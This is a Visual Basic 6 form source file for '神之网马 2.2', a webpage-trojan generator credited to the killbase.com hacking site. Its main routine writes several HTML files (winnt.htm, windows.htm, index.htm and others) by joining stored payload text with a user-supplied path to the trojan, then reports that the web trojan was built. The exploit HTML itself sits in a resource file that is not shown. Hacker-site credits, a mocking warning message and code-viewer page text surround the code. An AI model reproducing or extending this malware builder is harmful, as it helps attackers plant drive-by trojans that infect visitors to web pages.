📄 form1.frm
字号:
End
Begin VB.Label index
Caption = $"Form1.frx":5F14
Height = 375
Left = 4800
TabIndex = 20
Top = 2160
Visible = 0 'False
Width = 255
End
Begin VB.Line Line3
BorderColor = &H00808080&
X1 = 7320
X2 = 7320
Y1 = 4320
Y2 = 0
End
Begin VB.Line Line2
BorderColor = &H00808080&
X1 = 0
X2 = 7320
Y1 = 0
Y2 = 0
End
Begin VB.Line Line1
BorderColor = &H00808080&
X1 = 0
X2 = 0
Y1 = 0
Y2 = 4320
End
Begin VB.Label hackshen
Caption = $"Form1.frx":6143
Height = 375
Left = 0
TabIndex = 8
Top = 4680
Visible = 0 'False
Width = 495
End
Begin VB.Label Label11
Height = 255
Left = 5520
TabIndex = 7
Top = 0
Visible = 0 'False
Width = 615
End
Begin VB.Label Label10
BorderStyle = 1 'Fixed Single
Height = 255
Left = 4680
TabIndex = 6
Top = 120
Visible = 0 'False
Width = 495
End
Begin VB.Label Label9
BackColor = &H00FFFFFF&
BorderStyle = 1 'Fixed Single
Height = 255
Left = 1440
TabIndex = 5
Top = 2760
Visible = 0 'False
Width = 5175
End
Begin VB.Label Label7
BackColor = &H00000000&
BackStyle = 0 'Transparent
Caption = "神之网马 2.2"
BeginProperty Font
Name = "楷体_GB2312"
Size = 36
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H00000000&
Height = 735
Left = 1440
TabIndex = 4
Top = 360
Width = 4815
End
Begin VB.Label Label3
BackStyle = 0 'Transparent
Caption = "论坛:http://bbs.killbase.com"
ForeColor = &H00000000&
Height = 255
Left = 4440
TabIndex = 3
Top = 3960
Width = 2655
End
Begin VB.Label Label5
BackStyle = 0 'Transparent
Caption = "杀客基地出版"
ForeColor = &H00000000&
Height = 255
Left = 3000
TabIndex = 2
Top = 3720
Width = 1455
End
Begin VB.Label Label4
BackColor = &H00000000&
BackStyle = 0 'Transparent
Caption = "主站:http://www.killbase.com"
ForeColor = &H00000000&
Height = 255
Left = 120
TabIndex = 1
Top = 3960
Width = 2655
End
Begin VB.Label Label2
BackColor = &H80000007&
BackStyle = 0 'Transparent
Caption = "作者: 黑网之神"
ForeColor = &H000000FF&
Height = 255
Left = 2880
TabIndex = 0
Top = 3960
Width = 1335
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim strFileName As String '文件名
Dim lngHandle As Long '句柄
Dim strWrite As String '要写入的文本内容
Private Sub Command3_Click()
On Error Resume Next
If Text2.Text = "" Then
MsgBox "你网马放的目录都不写,你让我帮你生成个毛啊!", "16", "警告"
Else
strFileName = "winnt.htm"
lngHandle = FreeFile() '取得句柄
strWrite = winnt.Caption + Text2.Text + winnt2.Caption
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
strFileName = "windows.htm"
lngHandle = FreeFile() '取得句柄
strWrite = windows.Caption + Text2.Text + windows2.Caption
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
strFileName = "1.htm"
lngHandle = FreeFile() '取得句柄
strWrite = index.Caption
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
strFileName = "2.htm"
lngHandle = FreeFile() '取得句柄
strWrite = active.Caption
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
strFileName = "index.htm"
lngHandle = FreeFile() '取得句柄
strWrite = index222.Caption
Open strFileName For Output As lngHandle '打开文件
Print #lngHandle, strWrite '写入文本
Close lngHandle '关闭文件
MsgBox "第一步完成了,进行下一步操作!", "0", "完成"
Form2.Show
Form1.Hide
End If
End Sub
Private Sub Command4_Click()
On Error Resume Next
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Command5_Click()
frmAbout.Show
End Sub
Private Sub Form_Load()
On Error Resume Next
Label9.Caption = App.Path & ""
Label10.Caption = App.Path & "\killbase"
Label11.Caption = App.Path & "\hackshen"
End Sub
Private Sub Label2_Click()
MsgBox "不要问我是谁!去www.killbase.com 上面看去!", "0", "神之网马"
End Sub
Private Sub Label3_Click()
Shell "cmd /c" + "start http://bbs.killbase.com", 0
End Sub
Private Sub Label4_Click()
Shell "cmd /c" + "start http://www.killbase.com", 0
End Sub
Private Sub Label6_Click()
End Sub
Private Sub MMButton_OSXE1_Click()
On Error Resume Next
MsgBox "程序已经最小化到了左下脚!", "0", "提示"
Form1.WindowState = 1
End Sub
Private Sub MMButton_OSXE2_Click()
On Error Resume Next
Timer1.Enabled = True
Timer2.Enabled = True
End Sub
Private Sub Option1_Click()
On Error Resume Next
Text2.Enabled = True
Command2.Enabled = True
End Sub
Private Sub Option2_Click()
On Error Resume Next
Text2.Enabled = False
Command2.Enabled = False
End Sub
Private Sub Text2_Click()
On Error Resume Next
Text2.Text = ""
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
End
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Form1.Left = (Form1.Left) - 600
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
Timer3.Enabled = False
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
MsgBox "网页木马生成成功!请进行下一步", "0", "完成"
End Sub
Private Sub 探窗配置_Click()
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -